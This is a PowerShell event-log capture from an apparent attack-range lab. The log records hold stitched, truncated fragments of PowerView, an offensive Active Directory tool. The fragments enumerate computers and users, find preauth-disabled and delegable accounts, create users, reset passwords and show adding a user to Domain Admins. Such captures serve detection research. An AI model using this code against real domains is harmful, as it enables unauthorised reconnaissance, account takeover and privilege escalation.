}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
Write-b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110279Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1041rTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[Vab853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110278Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local941r/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
